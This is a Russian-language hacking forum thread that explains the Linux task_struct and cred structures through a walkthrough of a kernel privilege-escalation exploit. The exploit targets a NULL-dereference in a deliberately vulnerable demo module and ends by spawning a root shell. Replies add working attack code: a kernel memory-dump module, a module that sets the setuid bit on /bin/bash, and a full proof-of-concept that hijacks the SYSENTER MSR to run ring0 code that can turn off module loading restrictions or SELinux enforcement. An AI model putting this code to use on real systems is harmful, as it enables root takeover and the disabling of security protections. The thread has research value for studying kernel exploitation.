RDot

RDot (https://rdot.org/forum/index.php)
-   Статьи/Articles (https://rdot.org/forum/forumdisplay.php?f=10)
-   -   Заметка про task_struct в ядре Linux. (https://rdot.org/forum/showthread.php?t=1451)

SynQ 04.05.2011 16:45

Заметка про task_struct в ядре Linux.
 
Вложений: 1
В посте оформлены кусочки инфы по структуре task_struct в ядре Linux. Ничего нового или эксклюзивного, но вероятно будет интересно тем, кто хочет разобраться в kernel части ядерных эксплойтов, не читая 1100 страниц Understanding the Linux Kernel.

Из-за внедрения в линуксе разнообразных защит ныне редко удается встретить эксплойт под такие стандартные для конца 90х - начала 2000х баги как переполнение буфера в демонах. Поэтому большой процент современных локальных эксплойтов эксплуатируют баги самого ядра линукс (их немало, вероятно, из-за большого объема кода и активной разработки).

Стандартным принципом работы ядрёных эксплойтов является инициирование выполнения кода в режиме ядра (kernel mode) по нашему указателю. Наиболее распространенным примером является тип уязвимостей NULL pointer dereference (разыменование указателя на NULL), который хорошо описан в блоге компании Ksplice [http://blog.ksplice.com/2010/04/exploiting-kernel-null-dereferences/], автор Nelson Elhage.

Пояснение работы эксплойтов приводится на основе кода, эксплуатирующего NULL pointer dereference, которая создается модулем ядра nullderef.ko из статьи с блога Ksplice (см. выше).


Поехали

Архив внизу поста содержит сам модуль ядра, а также эксплойт newrootme.c для него. Функциональность модуля состоит в выполнении кода в режиме ядра по указателю, лежащему по адресу NULL, если мы запишем что-либо в файл /sys/kernel/debug/nullderef/null_call

Код:

struct my_ops {
        ssize_t (*do_it)(void);
};

/* Define a pointer to our ops struct, "accidentally" initialized to NULL. */
static struct my_ops *ops = NULL;


/*
 * Writing to the 'null_read' file calls the do_it member of ops,
 * which results in reading a function pointer from NULL and then
 * calling it.
 */
static ssize_t null_call_write(struct file *f, const char __user *buf,
                size_t count, loff_t *off)
{
        return ops->do_it();
}

Установка модуля: make, а затем sudo ./install.sh
install.sh сделан для удобства, он содержит команды:

mount debugfs -t debugfs /sys/kernel/debug/ (необходимо для работы модуля),
insmod nullderef.ko (установка модуля),
echo 0 > /proc/sys/vm/mmap_min_addr (разрешение делать mmap по адресу NULL, это необходимо для работы эксплойта)
Offtop: начиная с ядра 2.6.23 для затруднения эксплуатация NULL pointer dereference минимальный адрес по умолчанию 4096 или выше.
Если используется SELinux, то потребуется его отключить.

Начнем разбор newrootme.c (код на pastebin: http://pastebin.com/dMdgQVE3)

Функция main():

Код:

  uid = getuid(); gid = getgid();
узнаем текущие uid и gid, которые затем будем искать в памяти и менять на рутовые 0.

Код:

  uname(&us);
узнаем версию ядра для правильной работы с ядрами >=2.6.29 (заметно поменялся формат task_struct, о чем ниже).

Код:

  prepare_kernel_cred = get_ksym("prepare_kernel_cred");
  commit_creds        = get_ksym("commit_creds");
  a_printk            = (unsigned long)get_ksym("printk");

С помощью функции get_ksym достаем соответствующие экспортируемые символы из /proc/kallsyms (они понадобятся в режиме ядра, так printk - это аналог printf).

Код:

  mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  void (**fn)(void) = NULL;
  *fn = get_root;

mmap'им страницу памяти (4kb) по адресу NULL, а затем кладем туда адрес функции get_root. По этому адресу и пойдет выполнение кода в режиме ядра после эксплуатации NULL pointer dereference в модуле ядра, который мы установили.
Это легко проверить в дебаггере (компилируем: gcc newrootme.c -o newrootme -ggdb): gdb ./newrootme
Цитата:

gdb$ b newrootme.c:131
Breakpoint 1 at 0x8048dd1: file newrootme.c, line 127.
gdb$ r
pid=2943
Breakpoint 1, main () at newrootme.c:127
131 void (**fn)(void) = NULL;
gdb$ step
132 *fn = get_root;
gdb$ x/4x 0x0
0x0: 0x00000000 0x00000000 0x00000000 0x00000000
gdb$ step
135 int fd = open("/sys/kernel/debug/nullderef/null_call", O_WRONLY);
gdb$ x/4x 0x0
0x0: 0x08048914 0x00000000 0x00000000 0x00000000
gdb$ print get_root
$1 = {void (void)} 0x8048914 <get_root>
Как видно после выполнения *fn = get_root; по адресу NULL наблюдается адрес функции get_root().

Код:

  int fd = open("/sys/kernel/debug/nullderef/null_call", O_WRONLY);
  write(fd, "1", 1);

после записи единицы в /sys/kernel/debug/nullderef/null_call, модуль ядра начнет выполнять нашу функцию get_root() в режиме ядра.

Код:

  printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());

  if (getuid() == 0)
      system("/bin/sh");

здесь у нас уже должны быть привилегии рута, поэтому выводятся id'ы и если uid=0, то запускаем шелл.


Функция get_root():

Теперь функция get_root(), в которой и происходит всё действо.
В этой функции мы уже находимся в режиме ядра, поэтому надо быть осторожным и не сделать ядру oops :)

Код:

        void (*printk)(const char*fmt, ...) =  (void *) a_printk;
        printk("We're in kernel, w00t-w00t!\n");

воссоздаем ядерную функцию printk() по адресу, который мы получили из /proc/kallsyms в main(), и пишем тестовое сообщение, которое будет видно в /var/log/messages.

Код:

        int i;
        unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191);

создаем переменную i в стеке ядра.
Немного теории: стек ядра делит 4кб/8кб (в зависимости от дистрибутива, чаще - 8кб) размер со структурой thread_info как видно в include/linux/sched.h:

Код:

union thread_union {
    struct thread_info thread_info;
    unsigned long stack[THREAD_SIZE/sizeof(long)];
};

Т.е. thread_info находится раньше в памяти, чем стек ядра.
Поэтому мы обнуляем младшие 13 бит адреса i (находим начало двухстраничного (8 кб) thread_union) и получаем адрес структуры thread_info.

NB: Там где thread_union занимает 4 кб (встречается очень редко) вместо 8191=0x2000-1 нужно указать 4095=0x1000-1.

NB2: обнуление 13 бит для нахождения адреса thread_info не какой-то хитрый хак, а фича линукса для быстрого нахождения адреса thread_info. Так в ядре есть следующее макро, которое делает то же самое, что и код выше:
Код:

#define current    get_current()

static inline struct task_struct *get_current(void)
{
            register unsigned long sp asm ("sp");
            return (struct task_struct *)(sp & ~0x1fff);
}

Т.е. берется значение указателя стека и также обнуляются младшие 13 бит (0x1fff = 0x2000-1 = 8191)

В эксплойтах также используется вставка на асме для нахождения адреса thread_info:

Код:

    # get current task_struct...
    movl $0xffffe000, %eax
    andl %esp, %eax


Едем дальше.

Код:

        printk("i addr: 0x%lx\n", (unsigned long)&i);
        printk("thread_info addr: 0x%lx\n", (unsigned**)(((unsigned long)&i) & ~8191) );
        printk("p (task_struct) addr: 0x%lx\n", p);

Выводим в /var/log/messages адреса i, thread_info и адрес той самой task_struct из заглавия поста, который (адрес) находится в самом начале thread_info, что видно в arch/x86/include/asm/thread_info.h:

Код:

struct thread_info {
    struct task_struct  *task;
    struct exec_domain  *exec_domain;
    __u32                flags;
    __u32                status;
    __u32                cpu;
    int                  preempt_count;
    mm_segment_t        addr_limit;
    struct restart_block restart_block;
    void __user        *sysenter_return;
#ifdef CONFIG_X86_32
    unsigned long        previous_esp;
    __u8                supervisor_stack[0];
#endif
    int                  uaccess_err;
};

Самое время ответить, зачем она нам нужна. Смотрим ее определение в include/linux/sched.h:

Код:

struct task_struct {
        volatile long state;        /* -1 unrunnable, 0 runnable, >0 stopped */
        void *stack;
        atomic_t usage;
        unsigned int flags;        /* per process flags, defined below */
        ...
/* process credentials */
        uid_t uid,euid,suid,fsuid;
        gid_t gid,egid,sgid,fsgid;

        struct group_info *group_info;
        kernel_cap_t  cap_effective, cap_inheritable, cap_permitted, cap_bset;
        ...

Здесь-то и хранятся id'ы, с которыми запущено наше приложение (или эксплойт). Их необходимо исправить на ноль, чтобы стать рутом. Приведенная структура task_struct действительна для ядер <2.6.29


<2.6.29

Код:

if(!new_style) // kernel<2.6.29
  {
    printk("kernel<2.6.29!\n");
    for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid &&
            p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
          {
            printk("brute: found p[0]==uid: 0x%lx\n", p);
            printk("brute: found p[1]==euid: 0x%lx\n", &p[1]);
            printk("brute: $i in cycle: 0x%d\n", i);
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (unsigned *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
          }
        p++;
    }
  }

в переменной p лежит найденный адрес task_struct, сама task_struct имеет размер в несколько килобайт (например, ubuntu 10.04 - 3264 байт). Поэтому мы проходим память task_struct и ищем регион, в котором 4 последовательные ячейки памяти имеют значение нашего uid (uid_t uid,euid,suid,fsuid) и 4 следующие за ними ячейки имеют значение нашего gid (gid_t gid,egid,sgid,fsgid). Как находим этот регион, пишем туда нули. Всё, *id=0 :)
В /var/log/messages выводится адрес uid и euid для любопытных.

Код:

            p = (unsigned *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;

Этот строчки зачастую необязательны, они ставят полные capabilities (kernel_cap_t cap_effective, cap_inheritable, cap_permitted).


>=2.6.29

Теперь рассмотрим код для ядер >=2.6.29. В этих ядрах id'ы хранятся не в самой task_struct, а в отдельной структуре cred, указатель на которую хранится в task_struct:

Код:

struct task_struct {
[...]
/* process credentials */
        const struct cred *real_cred;  /* objective and real subjective task
                                        * credentials (COW) */
        const struct cred *cred;        /* effective (overridable) subjective task
                                        * credentials (COW) */
[...]

А вот так выглядит структура cred:

Код:

struct cred {
        atomic_t        usage;
        uid_t          uid;            /* real UID of the task */
        gid_t          gid;            /* real GID of the task */
        uid_t          suid;          /* saved UID of the task */
        gid_t          sgid;          /* saved GID of the task */
        uid_t          euid;          /* effective UID of the task */
        gid_t          egid;          /* effective GID of the task */
        uid_t          fsuid;          /* UID for VFS ops */
        gid_t          fsgid;          /* GID for VFS ops */

        unsigned        securebits;    /* SUID-less security management */
        kernel_cap_t    cap_inheritable; /* caps our children can inherit */
        kernel_cap_t    cap_permitted;  /* caps we're permitted */
        kernel_cap_t    cap_effective;  /* caps we can actually use */
        kernel_cap_t    cap_bset;      /* capability bounding set */
#ifdef CONFIG_KEYS
        unsigned char  jit_keyring;    /* default keyring to attach requested
                                        * keys to */
        struct key      *thread_keyring; /* keyring private to this thread */
        struct key      *request_key_auth; /* assumed request_key authority */
        struct thread_group_cred *tgcred; /* thread-group shared credentials */
#endif
#ifdef CONFIG_SECURITY
        void            *security;      /* subjective LSM security */
#endif
        struct user_struct *user;      /* real user ID subscription */
        struct group_info *group_info;  /* supplementary groups for euid/fsgid */
        struct rcu_head rcu;            /* RCU deletion hook */
};

Схема такая: проходим адресное пространство task_struct, выискивая 2 подряд идущих одинаковых указателя (*real_cred и *cred) на адрес в ядре (на x86 это >=0xc0000000). Как нашли, прыгаем туда, пропускаем первое поле (atomic_t usage) и смотрим лежат ли следующими uid, gid, suid, sgid, euid, egid, fsuid, fsgid. Если это они, то обнуляем их. Voila!

Вот так это выглядит в коде:
Код:

else // kernel>=2.6.29
  {
    printk("kernel>=2.6.29!\n");
    unsigned long *cred;
    for (i = 0; i < 1024; i++)
    {
        cred = (unsigned long *)p[i];
        if (cred == (unsigned long *)p[i+1] && cred >(unsigned long *)0xc0000000) {
            cred++; /* Get rid of the cred's 'usage' field */
            if (cred[0] == uid && cred[1] == gid &&
                cred[2] == uid && cred[3] == gid &&
                cred[4] == uid && cred[5] == gid &&
                cred[6] == uid && cred[7] == gid)
                {
                    /* Get root */
                    printk("cred addr: 0x%lx\n", cred);
                    cred[0] = cred[2] = cred[4] = cred[6] = 0;
                    cred[1] = cred[3] = cred[5] = cred[7] = 0;
                    break;
                }
        }
    }
  }

cred = (unsigned long *)p[i]; - проходим task_struct
и ищем 2 одинаковых указателя на память в адресном пространстве ядра - if (cred == (unsigned long *)p[i+1] && cred >(unsigned long *)0xc0000000) {
cred++; - пропускаем первое поле (atomic_t usage)
А дальше проверяем id'ы и обнуляем, если это то, что искали.
В /var/log/messages будет:
Цитата:

May 4 03:10:54 ubuntu kernel: [ 4942.470069] We're in kernel, w00t-w00t!
May 4 03:10:54 ubuntu kernel: [ 4942.470072] i addr: 0xd670ff4c
May 4 03:10:54 ubuntu kernel: [ 4942.470073] thread_info addr: 0xd670e000
May 4 03:10:54 ubuntu kernel: [ 4942.470074] p (task_struct) addr: 0xd0f6cc80
May 4 03:10:54 ubuntu kernel: [ 4942.470075] kernel>=2.6.29!
May 4 03:10:54 ubuntu kernel: [ 4942.470078] cred addr: 0xc668c084

commit creds on >=2.6.29

Если код прохода памяти для ядер <2.6.29 будет работать и на х86, и на х64, то код для >=2.6.29 на х64 не заработает, хотя бы из-за 0xc0000000 (на х64 PAGE_OFFSET=0xffff810000000000), возможно всплывут и другие проблемы (не тестировал).

Вообще на современных ядрах (>=2.6.29) с вводом структуры cred поменялись и рекомендации по апдейту id'ов. Теперь можно использовать функции struct cred *prepare_kernel_cred(), которая подготавливает новую структуру cred с нужными id, и commit_creds(), которая применяет новую структуру к текущему процессу.
Часть кода commit_creds() из kernel/cred.c:
Код:

        rcu_assign_pointer(task->real_cred, new);
        rcu_assign_pointer(task->cred, new);

Видно, что она меняет указатели *cred и *real_cred в task_struct на новую структуру, подготовленную prepare_kernel_cred()).

Для проверки работы этого способа раскомментируйте строчку //#define USECOMMITCREDS 1 в начале newrootme.c и перекомпилируйте его. Если ядро >=2.6.29 и символы prepare_kernel_cred, commit_creds экспортируются, то данный код из get_root() даст рута:
Код:

#else
  if(new_style)     
        commit_creds(prepare_kernel_cred(0));
#endif

Следует заметить, что метод прохода памяти по-прежнему придется использовать, если нет возможности узнать адреса prepare_kernel_cred или commit_creds.


Last call for alcohol

Код тестировался на:
Ubuntu 10.04 x86 (Linux ubuntu 2.6.32-24-generic #39-Ubuntu SMP Wed Jul 28 06:07:29 UTC 2010 i686 GNU/Linux)
Ubuntu 8.04 x64 (Linux ubuntu 2.6.24-26-generic #1 SMP Tue Dec 1 17:55:03 UTC 2009 x86_64 GNU/Linux)

Почитать:
Understanding the structure task_struct: http://www.spinics.net/lists/newbies/msg11186.html
Процессы в Linux: http://www.opennet.ru/base/dev/procc...linux.txt.html, http://www.mjmwired.net/kernel/Docum...redentials.txt
Статью twiz & sgrakkyu в 64-ом Phrack (и их же книгу A Guide to Kernel Exploitation прошлого года).


SynQ, rdot.org
5/2011

Pashkela 04.05.2011 17:03

Всё прелестно, но, как ми пониманю, printk юзается только в исследовательских целях - для чтения логов, иначе ненужное палево

SynQ 04.05.2011 17:09

Да, printk здесь, чтобы понимать, что происходит. Весь код здесь для исследования и понимания потрохов.

DrakonHaSh 17.05.2011 10:17

а в чем практическая ценность этого task_struct ?
т.е. наш код уже сумел попасть в ядро, зачем заниматься поиском именно task_struct ? чтобы изменить uid/gid уже существующего процесса ? или task_struct используется в руткитах для стелса процессов/соединений и т.д. ?

я это к тому, что наверное есть более универсальные и простые методы извлечения выгоды из того, что мы сумели запустить наш код в режиме ядра - например запуск нового процесса с правами рута.

SynQ 17.05.2011 10:27

Цитата:

Сообщение от DrakonHaSh (Сообщение 16834)
чтобы изменить uid/gid уже существующего процесса ?

Да.
Цитата:

task_struct используется в руткитах для стелса процессов
И это тоже.

SynQ 01.07.2011 15:53

Оставлю здесь, может кому-нибудь пригодится однажды.

kleak LKM для просмотра или дампа памяти ядра. Вроде аналога когда-то существовавшего /dev/kmem.

Использование:
Цитата:

$ echo 0xc1234567 > /proc/kleak; cat /proc/kleak | ndisasm -u -
$ echo "0xc1234567 1600" > /proc/kleak; cat /proc/kleak | hexdump -C // если нужен больший размер
Однажды выставленный размер сохраняется.

На x64 тоже должно работать.


Код:

/*
 * kleak LKM for kernel memory dump
 *
 * Author: SynQ, rdot.org
 * 7/2011
 *
 * I know the code is ugly, don't blame me.
 * Usage: echo 0xc1234567 > /proc/kleak; cat /proc/kleak | ndisasm -u -
 */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>
#include <linux/string.h>

#define MAX_SIZE      PAGE_SIZE

static char input_buffer[25];

unsigned long size;
unsigned long *addr;

static int kleak_proc_write( struct file *filp, const char __user *buff,
    unsigned long len, void *data )
{
    if (len > sizeof(input_buffer) - 1) {
        printk(KERN_ERR "kleak: Input too long! (%lu)\n", len);
        return -ENOSPC;
    }

    memset(input_buffer,'\0',sizeof(input_buffer));

    if(copy_from_user(input_buffer, buff, len))
            return -EFAULT;

    input_buffer[len]='\0';// ? no need bc of memset
    char *space = strchr(input_buffer,' ');
    char **end;

    if(space==NULL) {
            addr=simple_strtoul(input_buffer, end, 16);
            printk("kleak: no size, addr: 0x%p\n",addr);
    }
    else {
            addr=simple_strtoul(input_buffer, end, 16);
            size=simple_strtoul(space+1, end, 10);
            printk("kleak: got size, addr: 0x%p, size: %d\n",addr, (int)size);
    }

    return len;
}

static int kleak_proc_read(char *page, char **start, off_t off,
    int count, int *eof, void *data)
{
    if (off > 0) {
        *eof = 1;
        return 0;
    }
#if defined(__i386__)
    if(addr >=0xc0000000 && addr <=0xffffffff && size < MAX_SIZE)
#elif defined(__x86_64__)
    if(addr >=0xffffffff80000000 && addr <=0xffffffffffffffff && size < MAX_SIZE)
#endif
            memcpy(page, addr, size);
    else return -EFAULT;

    return size;
}


static int __init init_kleak(void)
{
    struct proc_dir_entry *kleak_entry = create_proc_entry("kleak", 0666, NULL);// 600? nigga, plz

    if (kleak_entry == NULL) {
      printk(KERN_ERR "kleak: Couldn't create proc entry\n");
      return -ENOMEM;
    }

    kleak_entry->write_proc = kleak_proc_write;
    kleak_entry->read_proc = kleak_proc_read;
    printk(KERN_INFO "kleak: Module loaded successfully\n");

    addr=NULL;
    size=100;

    return 0;
}

static void cleanup_kleak(void)
{
        remove_proc_entry("kleak", NULL);
        printk(KERN_INFO "kleak: Module unloaded.\n");
}

MODULE_LICENSE("GPL");
MODULE_AUTHOR("SynQ");
MODULE_DESCRIPTION("kernel memory viewer via /proc");

module_init(init_kleak);
module_exit(cleanup_kleak);

Makefile:
Код:

obj-m = kleak.o

M=$(shell pwd)

all:
        make -C /lib/modules/$(shell uname -r)/build/ M=$(M) modules

Также fmem - аналог /dev/mem (дамп физической памяти).

Specialist 19.06.2012 22:50

Цитата:

для затруднения эксплуатация NULL pointer dereference минимальный адрес по умолчанию 4096 или выше
- оно как бы не затрудняет, а вообще ликвидирует данный вид атак. Этот NULL ptr dereference на новых ядрах многие пытаются безуспешно обойти.

SynQ, респект за статью (узнал кое-что новое) и за kleak , но есть такая простая штука, как
gdb vmlinuz-3.3.0 /proc/kcore. Это дамп памяти ядра в реальном времени, который можно только читать.
А если ядро собрано с дебагом, можно очень даже легко изучать структуры/ф-ции по названиям без ковыряния в System.map.
Если честно, я сам много велосипедов писал для той же работы с шеллкодами, потом оказалось, что почти всё можно сделать стандартными средствами :)

А ещё, только щас подумал, не проще ли добавить строчку в /etc/passwd через filp_open, вместо того чтобы искать task_struct.
Ещё по идее можно на баш повесить суид бит. Сделать это можно, вызвав syscall (OMG) из кернел спейса. Пример (не проверял):
http://stackoverflow.com/questions/1348358/changing-file-permissions-in-kernel. Как будет время обязательно сделаю тест.

p.s. А task_struct кстати реально классная штука, с помощью неё например можно узнать адреса и даже в текущий терминал писать, очень удобно для отладки модулей и работы с руткитами.

SynQ 20.06.2012 10:07

Specialist
Согласен почти со всем.
Единственное, трогать /etc/passwd, по-моему, неэлегантно :) и насколько знаю, не все сисколлы из ядра работают, желательно проверять.
А вот идея выставлять суид бит - отличная. think outside of the box :)
Кстати, если о файлах, - можно также /etc/ld.so.preload создать с mask 666.

Specialist 21.06.2012 19:55

Как и обещал, раскрутил тему. Написал небольшой модуль ядра, вызывающий write на консоль из кернелспейса. Итак, немного черношляпной вуду-магии :)
Код:

/*

    Simple kernel module by the Specialist
    Run syscall from the kernel space

*/

#include <linux/module.h>
#include <linux/uaccess.h>
#include <asm/unistd.h>

static int __init init(void)
 {
        char *str = " ! blackhat v00d00 ;-]\n";
        mm_segment_t fs = get_fs();

          // fs must point to the data segment of the calling process
        set_fs(get_ds());
       
        // call write
        asm volatile ("int $0x80":
                    :"a"(__NR_write), "b"(1), "c"(str),
                      "d"(strlen(str)));

        // restore fs
        set_fs(fs);
        return -1;
 }

module_init(init);

А теперь небольшое пояснение. Для нормального выполнения в юзерспейсе, FS должен указывать
на сегмент данных текущего процесса. Что в коде собственно и делается. В реальном эксплойте вместо макросов можно использовать asm-вставки.

upd. Даже не подумал, что проверок uid в сисколлах никто не отменял. Скорее всего прийдётся вызывать нижележащие функции.

Specialist 10.07.2012 21:31

Вложений: 1
Нашёл способ запустить бинарник из ring0 в качестве хелпера keventd.
Накодил небольшой пример, запускающий Sh. Просто распакуйте и напишите make.

http://rghost.ru/download/39141720/3...0c8/run.tar.gz

Проверено на ядре 3.2

nobody 10.07.2012 21:52

Цитата:

Сообщение от Specialist (Сообщение 26996)
Нашёл способ запустить бинарник из ring0 в качестве хелпера keventd.
Накодил небольшой пример, запускающий Sh. Просто распакуйте и напишите make.

http://rghost.ru/download/39141720/3...0c8/run.tar.gz

Проверено на ядре 3.2

Будет работать для ядер >=2.6.23. Классно, молодец.

overxor 15.07.2012 05:15

а для чего нужны все манипуляции с суидником?

Specialist 16.07.2012 16:39

Оно неинтерактивно, т.е. не получится тупо запустить /bin/bash и радоваться.

tom sawyer 28.07.2012 11:35

Цитата:

Сообщение от Specialist (Сообщение 27149)
Оно неинтерактивно, т.е. не получится тупо запустить /bin/bash и радоваться.

А как ты себе представляешь интерактивный запуск bash из ядра? Тогда уже можно просто повысить привелегии до рута будучи в bash'e, или запускать из ядра бэк коннект шел на свой сервер.

tom sawyer 28.07.2012 12:45

А все, упустил нить дискуссии :)

tom sawyer 28.07.2012 13:26

Цитата:

Сообщение от Specialist (Сообщение 26522)
Ещё по идее можно на баш повесить суид бит. Сделать это можно, вызвав syscall (OMG) из кернел спейсайса

Можно без системного вызова из ядра поменять через апи файловой системы. Пример для изменения времени доступа/изменения/модификации и суид флага:
Код:

struct inode *inode;
        struct file *f;
        struct iattr newattrs;

        f = filp_open("/bin/bash", O_RDWR, 0);

        if(!f)
                return -1;

        inode = f->f_dentry->d_inode;

        newattrs.ia_atime.tv_sec = 0;
        newattrs.ia_mtime.tv_sec = 0;
        newattrs.ia_ctime.tv_sec = 0;

        newattrs.ia_mode = (inode->i_mode | S_ISUID | S_ISGID); /*эквивалент chmod +s*/

        newattrs.ia_valid = ATTR_ATIME | ATTR_CTIME | ATTR_MTIME | ATTR_MODE;

        if(inode->i_op) {
                DPRINT("inode->i_op->setattr: %p\n", inode->i_op->setattr);
        } else {
                DPRINT("inode->i_op: 0\n");
                filp_close(f,0);
                return -1;
        }

        error = security_inode_setattr(f->f_dentry, &newattrs); /*for selinux*/
        error = inode->i_op->setattr(f->f_dentry,  &newattrs);

        if(error) {
                filp_close(f,0);
                return -1;
        }

        fsnotify_change(f->f_dentry, newattrs.ia_valid);

        filp_close(f,0);


SynQ 04.02.2013 11:29

Тут спендер ругался на этот коммит: http://git.kernel.org/?p=linux/kerne...5c6a66ee1aed00
Зайдя с этой стороны (внося свои адреса в регистры MSR через /dev/cpu/$cpu/msr) можно получить выполнение кода в ядре, будучи рутом :)
Это на случай если например ядро без поддержки модулей или рут после загрузки выполнил:
# echo 1 > /proc/sys/kernel/modules_disabled

http://i.imgur.com/Ahgi03f.png

Код:

// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host
// can do whatever in the commented area, re-enable module support, etc
// requires CONFIG_X86_MSR and just uid 0
// a small race exists between the time when the MSR is written to the first
// time and when we issue our sysenter
// we additionally require CAP_SYS_NICE to make the race win nearly guaranteed
// configured to take a hex arg of a dword pointer to set to 0
// (modules_disabled, selinux_enforcing, take your pick)

// spender 2013

#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/mman.h>

#define SYSENTER_EIP_MSR 0x176

u_int64_t msr;

unsigned long ourstack[65536];

u_int64_t payload_data[16];

extern void *_ring0;
extern void *_ring0_end;

void ring0(void)
{
__asm volatile(".globl _ring0\n"
        "_ring0:\n"
        ".intel_syntax noprefix\n"
        ".code64\n"
        // set up stack pointer with 'ourstack'
        "mov esp, ecx\n"
        // save registers, contains the original MSR value
        "push rax\n"
        "push rbx\n"
        "push rcx\n"
        "push rdx\n"
        // play with the kernel here with interrupts disabled!
        "mov rcx, qword ptr [rbx+8]\n"
        "test rcx, rcx\n"
        "jz skip_write\n"
        "mov dword ptr [rcx], 0\n"
        "skip_write:\n"
        // restore MSR value before returning
        "mov ecx, 0x176\n" // SYSENTER_EIP_MSR
        "mov eax, dword ptr [rbx]\n"
        "mov edx, dword ptr [rbx+4]\n"
        "wrmsr\n"
        "pop rdx\n"
        "pop rcx\n"
        "pop rbx\n"
        "pop rax\n"
        "sti\n"
        "sysexit\n"
        ".code32\n"
        ".att_syntax prefix\n"
        ".global _ring0_end\n"
        "_ring0_end:\n"
        );
}

unsigned long saved_stack;

int main(int argc, char *argv[])
{
        cpu_set_t set;
        int msr_fd;
        int ret;
        u_int64_t new_msr;
        struct sched_param sched;
        u_int64_t resolved_addr = 0ULL;

        if (argc == 2)
                resolved_addr = strtoull(argv[1], NULL, 16);

        /* can do this without privilege */
        mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0);
        mlock(&payload_data, sizeof(payload_data));

        CPU_ZERO(&set);
        CPU_SET(0, &set);

        sched.sched_priority = 99;

        ret = sched_setscheduler(0, SCHED_FIFO, &sched);
        if (ret) {
                fprintf(stderr, "Unable to set priority.\n");
                exit(1);
        }

        ret = sched_setaffinity(0, sizeof(cpu_set_t), &set);
        if (ret) {
                fprintf(stderr, "Unable to set affinity.\n");
                exit(1);
        }

        msr_fd = open("/dev/cpu/0/msr", O_RDWR);
        if (msr_fd < 0) {
                msr_fd = open("/dev/msr0", O_RDWR);
                if (msr_fd < 0) {
                        fprintf(stderr, "Unable to open /dev/cpu/0/msr\n");
                        exit(1);
                }
        }
        lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
        ret = read(msr_fd, &msr, sizeof(msr));
        if (ret != sizeof(msr)) {
                fprintf(stderr, "Unable to read /dev/cpu/0/msr\n");
                exit(1);
        }

        // stuff some addresses in a buffer whose address we
        // pass to the "kernel" via register
        payload_data[0] = msr;
        payload_data[1] = resolved_addr;

        printf("Old SYSENTER_EIP_MSR = %016llx\n", msr);
        fflush(stdout);

        lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
        new_msr = (u_int64_t)(unsigned long)&_ring0;

        printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr);
        fflush(stdout);

        ret = write(msr_fd, &new_msr, sizeof(new_msr));
        if (ret != sizeof(new_msr)) {
                fprintf(stderr, "Unable to modify /dev/cpu/0/msr\n");
                exit(1);
        }

        __asm volatile(
                ".intel_syntax noprefix\n"
                ".code32\n"
                "mov saved_stack, esp\n"
                "lea ecx, ourstack\n"
                "lea edx, label2\n"
                "lea ebx, payload_data\n"
                "sysenter\n"
                "label2:\n"
                "mov esp, saved_stack\n"
                ".att_syntax prefix\n"
        );

        printf("Success.\n");
       
        return 0;
}


SynQ 03.04.2013 12:18

В ядре есть опция для просмотра флагов страниц памяти ядра - RO/RW, NX, полезно чтобы знать можно ли модифицировать какой-нибудь регион и будет ли исполняться код в определённой странице.

Реализована она в файле arch/x86/mm/dump_pagetables.c, включается посредством CONFIG_X86_PTDUMP в конфиге ядра.

Чтобы не перекомпилировать ядро, можно использовать патч Kees Cook, который превращает файл исходника в модуль lkm: http://www.outflux.net/blog/archives...mory-progress/

Для примера, в современном ядре всего 2 региона имеют флаги RW и одновременно X:
Код:

$ sudo cat /sys/kernel/debug/kernel_page_tables|grep RW|grep -v NX
0xc0099000-0xc009d000          16K    RW            GLB x  pte
0xc00a0000-0xc0100000        384K    RW            GLB x  pte

Первый для BIOS, второй - I/O hole для DMA.


Готовый пропатченый исходник lkm:
Код:

/*
 * Debug helper to dump the current kernel pagetables of the system
 * so that we can see what the various memory ranges are set to.
 *
 * (C) Copyright 2008 Intel Corporation
 *
 * Author: Arjan van de Ven <arjan@linux.intel.com>
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; version 2
 * of the License.
 */

/* Modularization Hack, 2011 Kees Cook <kees@ubuntu.com>
      insmod ./dump_pagetables.ko start=0x$(egrep \
                ' (swapper_pg_dir|init_level4_pgt)$' \
                /boot/System.map-$(uname -r) | cut -d" " -f1)
 */

#include <linux/debugfs.h>
#include <linux/mm.h>
#include <linux/module.h>
#include <linux/seq_file.h>

#include <asm/pgtable.h>

/*
 * The dumper groups pagetable entries of the same type into one, and for
 * that it needs to keep some state when walking, and flush this state
 * when a "break" in the continuity is found.
 */
struct pg_state {
        int level;
        pgprot_t current_prot;
        unsigned long start_address;
        unsigned long current_address;
        const struct addr_marker *marker;
};

struct addr_marker {
        unsigned long start_address;
        const char *name;
};

/* indices for address_markers; keep sync'd w/ address_markers below */
enum address_markers_idx {
        USER_SPACE_NR = 0,
#ifdef CONFIG_X86_64
        KERNEL_SPACE_NR,
        LOW_KERNEL_NR,
        VMALLOC_START_NR,
        VMEMMAP_START_NR,
        HIGH_KERNEL_NR,
        MODULES_VADDR_NR,
        MODULES_END_NR,
#else
        KERNEL_SPACE_NR,
        VMALLOC_START_NR,
        VMALLOC_END_NR,
# ifdef CONFIG_HIGHMEM
        PKMAP_BASE_NR,
# endif
        FIXADDR_START_NR,
#endif
};

/* Address space markers hints */
static struct addr_marker address_markers[] = {
        { 0, "User Space" },
#ifdef CONFIG_X86_64
        { 0x8000000000000000UL, "Kernel Space" },
        { PAGE_OFFSET,          "Low Kernel Mapping" },
